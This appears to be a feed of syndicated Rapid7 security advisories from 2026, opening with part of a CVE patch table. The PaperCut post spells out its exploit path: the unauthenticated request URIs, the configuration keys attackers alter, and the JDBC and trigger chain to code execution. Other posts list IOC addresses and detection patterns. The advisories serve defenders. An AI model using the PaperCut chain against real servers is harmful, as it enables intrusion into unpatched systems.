CVE-2026-69351	Windows Universal Plug and Play (UPnP) Device Host Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-81963	Windows Update Stack Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-69434	Windows URL Moniker Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-73019	Windows URL Moniker Security Feature Bypass Vulnerability	Exploitation Less Likely	No	4.3
CVE-2026-69270	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69307	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69413	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69469	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.6
CVE-2026-69571	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69687	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69707	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69859	Windows USB Audio Class driver (usbaudio.sys) Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69286	Windows USB Audio Class Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-68840	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69295	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69503	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-72953	Windows USB Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69457	Windows USB Driver Information Disclosure Vulnerability	Exploitation Less Likely	No	5.5
CVE-2026-72999	Windows USB Hub Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69490	Windows USB Mass Storage Class Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.8
CVE-2026-69527	Windows USB Mass Storage Class Driver Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-68839	Windows USB Mass Storage Class Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69319	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69422	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69423	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69584	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-72962	Windows USB Video Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.2
CVE-2026-56172	Windows VHD miniport driver Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69890	Windows Virtual Trusted Platform Module Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.5
CVE-2026-83498	Windows Virtualization-Based Security (VBS) Enclave Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-83501	Windows Virtualization-Based Security (VBS) Information Disclosure Vulnerability	Exploitation More Likely	No	5.5
CVE-2026-69426	Windows VOLSNAP.SYS Remote Code Execution Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-69468	Windows Volume Manager Extension Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69582	Windows Volume Manager Extension Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-77904	Windows Volume Manager Extension Driver Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-69291	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69334	Windows Volume Manager Extension Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	8.8
CVE-2026-69708	Windows Web Platform Storage Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-72965	Windows WebClient Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-68880	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69274	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.1
CVE-2026-69301	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	8.0
CVE-2026-69333	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69335	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69348	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8

CVE-2026-69410	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69498	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69610	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69630	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69652	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69689	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	8.0
CVE-2026-69706	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.1
CVE-2026-69762	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	8.0
CVE-2026-69779	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.0
CVE-2026-69818	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.0
CVE-2026-69844	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Unlikely	No	7.8
CVE-2026-70283	Windows Win32k Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-70289	Windows Win32k Elevation of Privilege Vulnerability	Exploitation More Likely	No	7.8
CVE-2026-69792	Windows Win32K Security Feature Bypass Vulnerability	Exploitation Unlikely	No	4.7
CVE-2026-69517	Windows Wireless Networking Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-69862	Windows Wireless Wide Area Network Service Information Disclosure Vulnerability	Exploitation Unlikely	No	5.5
CVE-2026-69560	Windows Work Folder Service Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.0
CVE-2026-71336	Windows Work Folder Service Remote Code Execution Vulnerability	Exploitation Unlikely	No	8.8
CVE-2026-80075	Windows Work Folders Elevation of Privilege Vulnerability	Exploitation Less Likely	No	7.8
CVE-2026-72927	Winsock Elevation of Privilege Vulnerability	Exploitation Less Likely	No	6.7
CVE-2026-78455	Xbox Information Disclosure Vulnerability	Exploitation Less Likely	No	4.3

Uncategorized Vulnerabilities

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-19931	Negotiate ambient user conn reuse	n/a	No	6.5
CVE-2026-82208	wolfSSL CA-cache hit overrides callback	n/a	No	7.4
CVE-2026-13608	OpenLDAP SASL authentication bypass	n/a	No	3.7
CVE-2026-18924	HTTP/2 server push UAF	n/a	No	5.9

Zero-Day Vulnerabilities: Known Exploited

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-85880	Windows Advanced Local Procedure Call (ALPC) Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8
CVE-2026-81963	Windows Update Stack Elevation of Privilege Vulnerability	Exploitation Detected	No	7.8

Critical RCEs and EoPs

CVE	Title	Exploitation status	Publicly disclosed?	CVSS v3 base score
CVE-2026-70352	Azure AI Language Elevation of Privilege Vulnerability	N/A	No	10.0
CVE-2026-80098	Copilot Studio Elevation of Privilege Vulnerability	N/A	No	9.3
CVE-2026-83941	Entra ID Elevation of Privilege Vulnerability	N/A	No	9.9
CVE-2026-72983	Internet Connection Sharing (ICS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-83711	Microsoft Azure Active Directory B2C Elevation of Privilege Vulnerability	N/A	No	10.0
CVE-2026-69491	Microsoft DirectMusic Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-62916	Microsoft Entra ID Elevation of Privilege Vulnerability	N/A	No	9.1
CVE-2026-69641	Microsoft Exchange Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.1
CVE-2026-73010	Microsoft Failover Cluster Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-78509	Microsoft Office Outlook Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-65669	Microsoft SQL Server Elevation of Privilege Vulnerability	Exploitation Less Likely	No	9.6
CVE-2026-69824	Microsoft Standard XPS Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69276	Microsoft UxTheme Library (uxtheme.dll) Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69408	Microsoft Windows Media Foundation Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69586	Microsoft Windows PDF Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-78510	Microsoft Word Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69525	Remote Desktop Services Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-69819	RPC Runtime Library Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-66302	Skype for Business Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69854	Spring Cloud Azure Elevation of Privilege Vulnerability	Exploitation More Likely	No	9.0
CVE-2026-69431	Telnet Client Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69496	Windows Compressed Folder Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69845	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-72979	Windows DHCP Server Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69715	Windows Direct Show Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69730	Windows DNS Server Remote Code Execution Vulnerability	Exploitation More Likely	No	9.8
CVE-2026-69493	Windows Event Logging Service Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-77493	Windows Graphics Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69769	Windows HTTP Print Provider Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69910	Windows Hyper-V Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-70296	Windows Imaging Component Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69669	Windows Kernel Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69579	Windows Message Queuing Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-72982	Windows Netlogon Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69463	Windows NTFS Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69768	Windows RNDIS Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-69590	Windows Routing and Remote Access Service (RRAS) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-73009	Windows Secure Socket Tunneling Protocol (SSTP) Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69595	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-78445	Windows Services for NFS ONCRPC XDR Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8
CVE-2026-69829	Windows Shell Remote Code Execution Vulnerability	Exploitation Unlikely	No	9.8
CVE-2026-68839	Windows USB Mass Storage Class Driver Remote Code Execution Vulnerability	Exploitation Less Likely	No	9.8

Critical SonicWall SMA1000 Vulnerabilities CVE-2026-83548, CVE-2026-83549 Exploited in the Wild

2026-09-02 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-critical-sonicwall-sma1000-vulnerabilities-cve-2026-83548-cve-2026-83549-exploited-in-the-wild

Overview

On September 1, 2026, SonicWall disclosed two vulnerabilities affecting SonicWall SMA1000 appliances that the vendor says are being actively exploited in the wild. The vulnerabilities, CVE-2026-83548 and CVE-2026-83549, can be chained to achieve unauthenticated remote code execution (RCE) on affected appliances.

CVE-2026-83548 is a critical pre-authentication server-side request forgery (SSRF) vulnerability in the SMA1000 Appliance Work Place interface. The flaw has a CVSS v3.1 base score of 10.0 and can allow a remote, unauthenticated attacker to access sensitive functionality and perform unauthorized operations through an unintended alternate access path.

CVE-2026-83549 is a high-severity OS command injection vulnerability in the Appliance Management Console (AMC). On its own, exploitation requires an authenticated administrator and specific system conditions. Although, by leveraging the SSRF vulnerability CVE-2026-83548 an attacker could potentially exploit CVE-2026-83549 to execute arbitrary OS commands without prior authentication.

SonicWall SMA1000 appliances are enterprise secure remote access gateways used to provide employees and other authorized users with access to internal applications and resources. Their role as network-edge systems makes successful exploitation particularly concerning, since affected Work Place interfaces may be exposed directly to the internet as part of normal deployment.

SonicWall has confirmed active exploitation of both vulnerabilities. No public proof-of-concept exploit, indicators of compromise (IOCs), or attribution for the current activity were identified in the research available at the time of publication.

The vulnerabilities affect SMA1000 Models – 6210, 7210, 8200v running the following versions:

Vulnerable Versions

Fixed Versions

12.4.3-03453 platform-hotfix and earlier

12.4.3-03526 (platform-hotfix) and higher versions

12.5.0-02835 platform-hotfix and earlier

12.5.0-02952 (platform-hotfix) and higher versions.

Mitigation guidance

Organizations operating affected SonicWall SMA1000 appliances should prioritize applying SonicWall’s updated platform hotfixes immediately. Because exploitation was occurring before public disclosure, organizations should not rely solely on patching to determine whether an appliance has already been compromised.

SonicWall recommends upgrading affected appliances to:

12.4.3-03526 platform-hotfix, for systems on the 12.4.3 branch
12.5.0-02952 platform-hotfix, for systems on the 12.5.0 branch

Affected Product/Component:

SonicWall SMA1000 Appliance Work Place and Appliance Management Console

Version 12.4.3-03453 platform-hotfix and earlier are affected.
Version 12.5.0-02835 platform-hotfix and earlier are affected.

SonicWall additionally recommends that customers contact SonicWall Technical Support for assistance reviewing appliances for indicators of compromise.

If evidence of compromise is identified, SonicWall recommends:

Re-imaging affected hardware appliances or re-deploying affected virtual appliances.
Changing all user and administrator passwords.
Resetting Time-based One-Time Password (TOTP) tokens.

Given the confirmed exploitation of these vulnerabilities, organizations should treat potentially exposed appliances running vulnerable software as a priority for investigation as well as remediation.

Please read the SonicWall security advisory for the latest vendor guidance.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-83548 and CVE-2026-83549 in the SMA1000 Appliance series with vulnerability checks expected to be available in the September 3rd content release.

Updates

September 2, 2026: Initial publication.

PaperCut NG/MF Critical Zero-Day Exploited in the Wild

2026-08-28 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-papercut-ng-mf-critical-zero-day-exploited-in-the-wild

Overview

On August 27, 2026, PaperCut Software published an urgent security advisory stating that it is investigating active exploitation of a vulnerability affecting PaperCut NG and PaperCut MF. PaperCut has confirmed customer incidents and is treating the issue as a security emergency. At the time of writing, the vulnerability has not been assigned a CVE identifier, and PaperCut has not publicly disclosed a CVSS score, vulnerability class, authentication requirements, or the technical details of the exploit path.

PaperCut NG and PaperCut MF are print management platforms commonly deployed within enterprise, education, and other organizational environments. Because the PaperCut Application Server provides web-accessible administrative and application functionality, organizations with servers exposed to the public internet should prioritize remediation and access restriction.

PaperCut stated in its advisory that information supplied by a university customer’s security team and digital forensics and incident response team enabled its security response team to reproduce the vulnerability in PaperCut NG and PaperCut MF. On August 28, 2026 at 02:10 AEST, PaperCut released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26.

PaperCut has been targeted in the past; in 2023, CVE-2023-27350 was broadly exploited in the wild by multiple threat-actor groups, including ransomware operators. This prior history increases the urgency organizations should address this new zero-day with.

PaperCut currently considers all versions of PaperCut NG and PaperCut MF potentially impacted. Customers operating internet-accessible PaperCut Application Servers should take immediate action even if no suspicious activity has been observed.

Technical overview

The vulnerability is an authentication bypass that lets attackers invoke privileged PaperCut components. This can be leveraged to reconfigure an external database lookup. When this lookup is triggered, malicious SQL can be executed, resulting in remote code execution.

PaperCut uses the Apache Tapestry framework, whose “complex direct” request format can identify one page to display and a different page containing the component to execute. PaperCut validates access only to the displayed page. By selecting either the public Error page or Exception page for display, an attacker can bypass authentication while invoking administrative components belonging to ConfigEditor or UserList.

The attack uses HTTP POST requests to the following URIs (Note that the path segment with the value 1 shown below can be any value for this path segment, and the Error path segment may also be the Exception path segment):

/app?service=direct/1/Error/ConfigEditor/quickFindForm
/app?service=direct/1/Error/ConfigEditor/$Form
/app?service=direct/1/Error/UserList/$QuickFind.$Form

The first two URIs provide unauthenticated access to PaperCut’s configuration editor. The third can invoke a user or card search that triggers the configured external database lookup.

An attacker first uses the ConfigEditor requests to modify four external user-lookup settings:

user-lookup.db-driver
user-lookup.db-url
user-lookup.id-to-username-sql
user-lookup.enabled

These settings normally allow administrators to connect PaperCut to an external card database. After bypassing authentication, however, the attacker can configure them with a malicious JDBC connection and a malicious SQL statement.

By leveraging PaperCut’s bundled Apache Derby database driver and supplying a Derby CALL statement that activates its foreignViews feature, Derby opens an attacker-controlled H2 JDBC URL. H2 processes an inline INIT statement that creates a JavaScript-backed database trigger. PaperCut includes the Nashorn JavaScript engine, allowing that trigger to start an operating-system process. However it is expected that other mechanisms to execute an arbitrary command can also be used instead of Nashorn. Finally, the attacker submits a search through the forged UserList request. This activates the external lookup and executes the malicious SQL.

Mitigation guidance

Organizations running PaperCut NG or PaperCut MF should prioritize patching on an emergency basis, particularly where the PaperCut Application Server is accessible from the public internet.

PaperCut has released emergency patches for PaperCut NG and PaperCut MF versions 25 and 26.

The vendor notes that these builds have not undergone their normal release process and are intended as emergency fixes for customers with public-facing servers that cannot otherwise sufficiently mitigate exposure. An emergency patch for version 24 is still in development at the time of the vendor’s latest update.

PaperCut recommends that administrators immediately restrict web access to trusted IP addresses only, such as internal corporate network ranges. Firewall rules, network access controls, reverse-proxy restrictions, or equivalent measures should be used to prevent untrusted internet hosts from reaching PaperCut web interfaces.

Please read the PaperCut security advisory for the latest remediation guidance, updated indicators of compromise, and additional release information.

Artifacts/Evidence Sources and IOCs

For detection and forensic analysis, PaperCut has identified several preliminary artifacts and evidence sources that may indicate compromise.

Application activity: Alerts from intrusion-detection, endpoint-security, or network-monitoring products involving the PaperCut Application Server, particularly suspicious post-exploitation activity associated with pc-app.exe.
Log integrity: Missing, unexpectedly truncated, or deleted PaperCut server.log files.
PaperCut server.log entries:

ERROR No suitable driver found for jdbc:no:x
ERROR DatabaseUtils – Database error looking up cardID: VALUES CAST

PaperCut has not yet published validated network-based indicators such as malicious IP addresses, domains, or URLs.

The vendor specifically warns that the absence of these indicators should not be interpreted as evidence that a system has not been affected.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to this new PaperCut zero-day, with an authenticated vulnerability check expected to be available in the August 28 (today’s) content release.

Updates

August 28, 2026: Initial publication.

Codex Curl Test Blog Post 20260820150831

2026-08-20 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/codex-curl-test-blog-post-20260820150831

Codex curl lifecycle test content.

CVE-2026-19490: Critical Vulnerability Affecting Citrix NetScaler ADC and NetScaler Gateway

2026-08-19 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-19490-critical-vulnerability-affecting-citrix-netscaler-adc-and-netscaler-gateway

Overview

On August 19, 2026, a security advisory was published for CVE-2026-19490, a critical authentication bypass vulnerability affecting Citrix NetScaler ADC and NetScaler Gateway. The vulnerability carries a CVSS v4.0 base score of 9.3 and can be exploited remotely by an unauthenticated attacker over the network without user interaction or elevated privileges.

NetScaler ADC and NetScaler Gateway are widely deployed enterprise networking products commonly positioned at or near the network perimeter. NetScaler ADC provides application delivery, traffic management, load balancing, SSL/TLS offloading, and application security capabilities, while NetScaler Gateway provides secure remote access and VPN functionality. Because these systems are frequently deployed in enterprise DMZs and exposed to the public internet, authentication bypass vulnerabilities affecting Citrix products are nearly always exploited by threat actors.

CVE-2026-19490 affects the following systems:

NetScaler ADC and NetScaler Gateway 14.1: Versions prior to 14.1-73.32
NetScaler ADC and NetScaler Gateway 13.1: Versions prior to 13.1-63.21
NetScaler ADC FIPS: Versions prior to 14.1-73.32 FIPS
NetScaler ADC FIPS and NDcPP: Versions prior to 13.1-37.277

As of August 19, 2026, Rapid7 has not observed evidence that CVE-2026-19490 is being exploited in the wild. However, organizations should prioritize patching affected systems on an emergency basis, since Citrix products are high-value targets that tend to quickly see exploitation in the wild.

Mitigation guidance

Organizations running affected NetScaler ADC or NetScaler Gateway appliances should review the official NetScaler advisory and apply the required updates to affected systems on an emergency basis.

Fixed versions for affected products are listed below:

NetScaler ADC and NetScaler Gateway 14.1-73.32 and later releases
NetScaler ADC and NetScaler Gateway 13.1-63.21 and later releases of 13.1
NetScaler ADC 14.1-FIPS 14.1-73.32 FIPS and later releases of 14.1-FIPS
NetScaler ADC 13.1-FIPS and 13.1-NDcPP 13.1-37.277 and later releases of 13.1-FIPS and 13.1-NDcPP

According to Citrix, customers can determine whether affected systems are vulnerable to CVE-2026-19490 by inspecting their NetScaler configuration for the following configuration entries. If one or more of the following items are present, and if the systems are running affected versions, the system is likely to be exploitable:

SAML action configuration is in place:

“add authentication samlAction.*”

Auth or VPN vserver is configured:

“add authentication vserver .*”
“add vpn vserver .*”

For the latest guidance, please refer to the official Citrix advisory.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Customers can assess exposure to CVE-2026-19490 on Citrix NetScaler ADC and Gateway using a vulnerability check expected to be available in the August 20 content release.

Updates

August 19, 2026: Initial publication.

AI is Working in the SOC. So Why are Security Executives More Worried Than Ever?

2026-08-12 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/ai-report-500-security-leaders-reveal-security-operations-transformation

Something shifted in security operations over the last two years: AI stopped being a pilot program and became the plan.

And if you survey 500 security professionals on whether that’s going well – as Omdia did, commissioned by Rapid7 – you get a remarkable level of consensus: 97% report positive outcomes, 98% say AI reduces alert fatigue, and 95% say it’s helping address staffing shortages.

Those numbers are high enough that the story could stop there; AI is working, everyone agrees. Move on. But there’s a more interesting finding sitting underneath that consensus, and it tells you something important about where security operations is actually headed.

The confidence gap nobody is talking about

While frontline SOC teams report strong confidence in AI, executive security leaders like CISOs, CSOs, and VPs are taking a considerably harder look.

The research found that executive leaders are 1.6 times more likely than operational security managers to be highly concerned about how AI vendors handle their organization’s security data. This isn’t a contradiction of the 97% positive sentiment, but rather a maturity signal.

When AI was experimental, the question was: does it work? Operational teams answered that. Now that AI is embedded in production SOCs, a different question is arriving at the executive level: how do we govern it? Who is accountable when something is wrong? What happens when the model misses a critical threat, and whose job was it to catch that?

These are board-level questions, and the research suggests that the organizations who don’t have good answers are about to feel that gap acutely.

The human-AI balance is the real differentiator

92% of respondents said AI enhances rather than replaces human analysts. But 41% are actively worried about over-reliance, or that teams could start deferring to AI in moments where an experienced analyst would have caught something the model missed.

The best security teams aren’t choosing between AI and human expertise. They’re building operating models where AI handles the volume – triaging, pattern matching, initial investigations – while analysts lead the decisions that require context, creativity, and accountability.

The question for any SOC leader isn’t ‘should we use AI?’ It’s ‘where does AI create capacity without creating new blind spots?’

MDR is being redefined

86% of respondents believe AI-enabled MDR has a clear advantage over traditional approaches. And when asked what they actually expect from an AI-enabled MDR provider, the top answer wasn’t faster detection or higher automation rates. It was transparency.

55% said their top expectation is visibility into how AI decisions are being made. 53% want AI explicitly integrated with human analyst expertise. 52% want regular updates on model performance and accuracy. ‘We use AI’ is not a differentiator anymore. What buyers now want to know is: can you show me exactly how?

What this means for your security strategy

The Omdia research gives security leaders something most AI content doesn’t: an independent benchmark for where the market actually is.

Use it to pressure-test your AI governance posture, to reframe conversations with your board, and to evaluate whether your MDR provider can answer the transparency questions that 55% of buyers are now asking.

The full report covers all of this in detail, including where organizations remain most cautious, what makes AI adoption succeed or stall, and what the next phase of AI-enabled security operations looks like.

Download the full Omdia report.

CVE-2026-18577: N-able N-central Authentication Bypass Exploited in the Wild

2026-08-04 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-cve-2026-18577-n-able-n-central-authentication-bypass-exploited-in-the-wild

Overview

On August 2, 2026, N-able published a security advisory for CVE-2026-18577, an authentication bypass vulnerability affecting N-central that was discovered being exploited in-the-wild after an incomplete fix for an earlier authentication bypass issue, CVE-2026-18556 was disclosed. CVE-2026-18577 allows a remote unauthenticated attacker to bypass authentication and obtain administrative control of vulnerable N-central servers in affected deployments.

N-able N-central is a widely deployed Remote Monitoring and Management (RMM) platform used by managed service providers (MSPs) and enterprise IT teams to centrally administer servers, workstations, network devices, and other managed assets. Because the platform operates with extensive administrative privileges across customer environments, successful compromise of an N-central server can provide attackers with an efficient path to compromise downstream managed systems.

According to N-able, exploitation of CVE-2026-18577 has been observed in the wild since August 1, 2026. Following successful exploitation, attackers leveraged the platform’s Take Control functionality to remotely access managed endpoints, and deployed Cloudflare Tunnel (cloudflared) to establish persistent remote access. On August 3, 2026, CVE-2026-18577 was added to CISA’s Known Exploited Vulnerability (KEV) catalog.

Mitigation guidance

Organizations operating vulnerable N-central deployments should prioritize remediation on an urgent basis, outside of normal patching schedules. Hosted N-central environments are upgraded automatically by the vendor, while on-premise deployments require manual remediation.

Affected versions:

All versions of N-able N-central up to and including version 2026.3.1, prior to Hotfix 1.

Fixed version:

N-able N-central 2026.3.1 Hotfix 1 (2026.3.1.7).

The vendor also recommends:

Upgrading N-central agents after applying the server hotfix.
Reviewing systems for indicators of compromise.
Contacting N-able Support immediately if evidence of compromise is discovered.
Engaging internal incident response teams if malicious activity is identified.

For further information, see the vendor advisory.

IOCs

N-able has published several artifacts that administrators should investigate during incident response.

Endpoint Artifacts:

Presence of a Cloudflared service.
A suspicious svchost.exe located within the user’s Documents folder.

Network Indicators:

Administrators should review historical network logs for inbound or outbound communication involving the malicious IP addresses identified by the vendor:

173[.]249[.]252[.]200
87[.]249[.]138[.]34
37[.]19[.]210[.]32
37[.]153[.]90[.]88
92[.]118[.]112[.]181
68[.]235[.]46[.]214

Organizations should also review:

Authentication logs
Administrative account creation or modification
Take Control session activity
Remote management logs
Windows service installation events

To assist affected organizations running N-central, the vendor has provided a detection template for CVE-2026-18577, which organizations can use to help identify potential compromise.

Rapid7 customers

Exposure Command, InsightVM, and Nexpose

Exposure Command, InsightVM, and Nexpose customers can assess exposure to CVE-2026-18577 with a vulnerability check expected to be available in the August 4 content release. Note that potential check type must be enabled in the scan template before scanning.

Updates

August 4, 2026: Initial publication.

KindaRails2Shell: CVE-2026-66066, Critical Arbitrary File Read and Possible Remote Code Execution in Ruby on Rails

2026-07-30 Rapid7

Post Syndicated from Rapid7 original https://www.rapid7.com/blog/post/etr-kindarails2shell-cve-2026-66066-critical-arbitrary-file-read-and-possible-remote-code-execution-in-ruby-on-rails

Overview

On July 29, 2026, the Ruby on Rails project published a security advisory for CVE-2026-66066, a critical vulnerability affecting Active Storage image processing when used in conjunction with the libvips image processing library. The vulnerability has a CVSSv4 score of 9.5 and is classified as Initialization of a Resource with an Insecure Default (CWE-1188). An unauthenticated attacker may be able to leverage CVE-2026-66066 and read files accessible to the Rails application process, potentially exposing secrets that could enable remote code execution (RCE) or access to connected systems.

An application is affected when it uses libvips for Active Storage image processing and accepts image uploads from untrusted users. Rails notes that generating image variants is not a separate requirement for exposure. Vips is the default Active Storage variant processor for applications configured with Rails 7.0 or later defaults. According to Ethiack, only the Vips processor is affected; applications using Magick are not affected through the reported vector.

As of July 30, 2026, Rapid7 is not aware of exploitation in the wild. Ethiack and GMO Flatt Security, who independently reported the vulnerability, have withheld proof-of-concept code and details of the full attack chain. Public code claiming to exploit CVE-2026-66066 exists, but it is unclear how closely it corresponds to the full attack chain reported privately to Rails. According to the Rails Security Announcement, additional details will be disclosed no later than August 28, 2026. Rapid7 recommends remediating affected applications on an urgent basis, outside of normal patch cycles.

Technical overview

libvips uses operations to load and save image formats, including operations backed by third-party libraries. Some are marked “unfuzzed” or “untrusted” because they are unsafe for untrusted content. According to Rails, Active Storage did not disable these operations before processing user-supplied files, which may allow a crafted upload to trigger an unsafe operation and disclose files readable by the application.

The Rails patch that remediates CVE-2026-66066, disables untrusted operations during Active Storage initialization. When ruby-vips is installed, patched versions prevent the application from starting if ruby-vips or libvips is too old to support that protection.

Mitigation guidance

Organizations running affected Ruby on Rails applications should upgrade to a fixed Active Storage release and ensure libvips is 8.13 or later. Updating Rails or Active Storage alone is not sufficient when an older libvips version is installed.

The Rails advisory identifies patched Active Storage releases 7.2.3.2, 8.0.5.1, and 8.1.3.1. The corresponding Rails releases are:

Rails branch	Affected versions	Fixed version
Rails 7.x	7.0.0 through 7.2.3.1	7.2.3.2
Rails 8.0.x	8.0.0 through 8.0.5	8.0.5.1
Rails 8.1.x	8.1.0 through 8.1.3	8.1.3.1

